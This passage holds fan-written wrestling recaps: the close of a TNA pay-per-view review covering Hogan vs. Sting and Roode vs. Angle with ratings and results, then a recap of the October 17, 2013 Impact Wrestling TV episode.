He yells about Jeff Hardy and says no one here wants anything to do with Hardy. The fans chant for Hardy as Jarrett buries the city. He calls out Hardy and here he is with new music. They brawl with Hardy only saying a few words and it’s a brawl. This isn’t a match. Security comes out to break it up but Hardy gets free for a bit as happens in most brawls. That happens with both guys more than once. The agents come in and we get a D’lo chant. Hardy is left in the ring and poses to his music.

We recap Hogan vs. Sting. I’m shocked this isn’t the main event. The recap covers like a year and a half which is all about Hogan stealing the company from Dixie and Sting trying to get the control back for Dixie because it’s her’s.

Now the announcers talk about the match and how big it is.

Hulk Hogan vs. Sting

This is a “fight” remember, so Hogan is in an Impact Wrestling shirt and black tights. Dixie Carter is in the audience. If Hogan loses, Sting and Dixie get control of the company. Sting is in his Hogan shirt again. Jackson James, Bischoff’s son, is the referee. Before anything of note happens, Hogan waves out someone and it’s Flair. Dixie isn’t happy. And they lock up. We get a headlock in this “fight”.

Hogan Hulks Up and there goes the bandana. Sting throws off the Hogan shirt too. The fans sound into it so points for that. Hogan puts on a neck crank and we look at Dixie again. It’s in a rest hold so no complaints there. Hogan keeps crotch chopping. All Hogan so far with him sending Sting to the floor so Flair can pound away a bit with chops and a low blow.

All Hulk still as he hammers away on Sting on the floor. There’s some kind of object given to Hogan by Flair and Hulk pounds away with it. Sting is busted and Hogan struts and WOOs. Sting fires back and Hogan is in trouble. He keeps going to the floor to chase Flair and this time gets the object from him. Flair tries to warn Hulk but he can’t get away in time. Hulk is busted.

There’s the splash and down goes Flair. Hogan takes another splash and Hogan is down in the middle of the ring. Here’s the Scorpion and Sting gets it on full. He sits down on it and Hogan taps out right in front of the referee…..and he rings the bell for the submission at 9:49. The fans are not happy….like at all.

Rating: D+. The ending hurt it a lot but the fans were WAY into this. Tis is a fine example of a match where the match wasn’t the important part. However, there was nothing important to see here and the ending didn’t work at all for the most part. Keeping it short was good but Eric’s son wound up meaning almost nothing at all.

Immortal runs out for the beatdown with the chairs and Abyss is watching from behind the stage. Eric sets for a chair shot but his son takes the chair away. Down goes the son and Hulk is getting up. For no apparent reason Hulk turns face and beats up Immortal. Hogan and Sting clean house and Flair takes the brunt of the beating. Bischoff is cowering in the corner.

Hogan and Sting go back to back and stare each other down. They don’t shake hands but Hogan beats up Bischoff. This makes absolutely NO SENSE but the fans are more into it than anything ever in TNA. Hogan says he’s back and kicks Bischoff out of the ring. Hogan and Sting stare it down again and Sting wants Hogan to pose. They play to the crowd and that’s about it.

We recap Roode vs. Angle and I think you know the drill here.

TNA World Title: Bobby Roode vs. Kurt Angle

It’s 10:36 when the bell rings so they have about 20 minutes or so, barring them going right up to the hour. They head to the floor for a few seconds and Angle kicks him low on the way back in. Angle is coming in with a legit hamstring injury. They go to the mat and Angle works on a gutwrench. The fans are all behidn Roode. The American hits a German on the Canadian and make it three of them, getting a two count.

Kurt sets for the moonsault but Roode suplexes him off and Kurt lands on his head. The fans went SILENT after that. Kurt seems to be ok as they slug it out. Roode hits a forearm and some clotheslines to take over. Blockbuster hits for what looked to be three but they’ll call it two. Belly to belly gets two for the champ as does a DDT. Angle Slam is countered into the spinebuster (no pop at all for it) for two.

Angle does the run up the rope suplex for two. They’re really just using signature stuff here instead of a longer match. Roode grabs the Crossface out of nowhere and Kurt can’t reach a rope. Angle teases tapping but he grabs the ankle to escape the hold. Now Roode is in the submission and teases tapping but reverses right back into the Crossface in the middle of the ring. Angle reverses again and is put in the hold on the other arm this time. Kurt rolls through into the Slam for two.

Back to the ankle but Roode kicks him off and hits the spinebuster to still not much of a reaction. The crowd just does not care after the Hogan vs. Sting stuff. Fisherman’s suplex gets two. The dueling chants start up and Kurt hooks the ankle again. Angle Slam is countered into an armdrag as the fans are starting to get into this a bit. Angle gets the referee in between them and kicks Roode low. There’s another Slam and it only gets two again.

Time for more rolling Germans but Roode reverses into the Crossface again, this time on the left arm which is the one that I think it’s been on more often than the right one. Roode’s face is really bad when he’s got these holds on. Kurt’s arm is under the ropes so the hold is broken. Spear gets two for Angle. I’m so over the move I can’t stand it anymore. Angle goes up for something but jumps into the Crossface. Kurt escapes and tries the Slam but Roode tries the Fisherman’s into another Slam and Kurt grabs the rope….for the pin at 14:20. Oh….oh no they can’t be doing this. Roode’s arm was under the ropes too.

Rating: C. The ending cripples this. It wasn’t a classic before that but the ending hurt it more than I can comprehend. The match was so based on having finishers escaped and kicked out of and all that stuff which was the vast majority of the match. Not horrible but man, that ending is actually standing and it’s over. That CRIPPLED things.

Overall Rating: B+. The ending to this show brings it way down. I mean WAY down. There isn’t a truly bad match on the whole card but there isn’t a classic either. Still, it’s a very good show and worth checking out, but the ending to the main event hurt this like nothing else. There was zero point to having Angle go over there and he was helped out by the trainer post match so maybe he was legit hurt. I’m in awe over that ending. The rest of the show was solid though and Hogan’s illogical heel turn is fun stuff. Worth seeing, but prepared to roll your eyes at the main event.

Results
Austin Aries b. Brian Kendrick – Brainbuster
Rob Van Dam b. Jerry Lynn – Van Terminator
Crimson b. Samoa Joe and Matt Morgan – Spear to Joe
Mr. Anderson b. Bully Ray – Mic Check through a table
Velvet Sky b. Winter, Mickie James and Madison Rayne – Sitout facebuster to Rayne
AJ Styles b. Christopher Daniels – Daniels said he quit
Sting b. Hulk Hogan – Scorpion Deathlock
Kurt Angle b. Bobby Roode – Angle Slam

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Impact Wrestling – October 17, 2013: Sunday Is Coming If Anyone Cares

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Date: October 17, 2013
Location: Cox Business Arena, Tulsa, Oklahoma
Commentators: Mike Tenay, Taz

Christopher Daniels vs. Robbie E. vs. Hernandez vs. Eric Young

The winner of this gets the final spot for his team in the gauntlet match on the preshow with the winning team getting a title shot at the PPV. Robbie and Young get us going but Young tags in Hernandez for the slingshot shoulder to E. Robbie brings in Daniels who has to escape the over the shoulder backbreaker but gets caught in the choke suplex for two. A cheap shot from Robbie takes Hernandez to the floor before he comes in legally and gets two off a middle rope elbow.

SuperMex comes back with a double clothesline to take down Daniels and Robbie, allowing for the tag off to Eric. Daniels and Robbie get in an argument (despite not being a team), allowing Hernandez to do the running clothesline from the ramp. Hernandez misses a splash in the corner and falls out to the floor before Eric suplexes Daniels down. Robbie makes a blind tag in and pins Daniels off the top rope elbow from Young at 5:18.

AJ fights off Jesse Godderz.

Gunner vs. Knux

Chris Sabin is going for the bounty.

Video on the Ultimate X match.

Chris Sabin vs. Samoa Joe

Sabin tries to bail but Joe grabs him on the ramp, only to have Chris slam him onto the steel. Joe dives back in to beat the count at nine and catches a charging Sabin in a release Rock Bottom out of the corner. A boot to the chest and the backsplash gets two for Joe but Sabin comes back with a springboard tornado DDT for two. Not that it matters as Joe grabs a quick Koquina Clutch for the win at 5:17.

Post match Aries, Hardy and Manik come in for a big brawl. Hardy pulls in a ladder, allowing Manik to dive onto Aries and Sabin.

Bad Influence goes after AJ but he holds them off with a fire extinguisher.

Ethan Carter III debuts at Bound For Glory.

Bully Ray vs. Magnus

Magnus wins a quick slugout and clotheslines Bully down to speed things up a bit. A big boot puts Ray down and the top rope elbow gets two. Magnus charges into the referee by mistake so Ray gets the chain, drawing out Sting for the save. The referee throws Sting out, allowing Ray to low blow Magnus for the pin at 10:42.

We run down the BFG card.

Results

Robbie E. b. Eric Young, Hernandez and Christopher Daniels – Robbie pinned Daniels after a top rope elbow from Young

Gunner b. Knux – Spear

Samoa Joe b. Chris Sabin – Koquina Clutch

Bully Ray b. Magnus – Low blow

 

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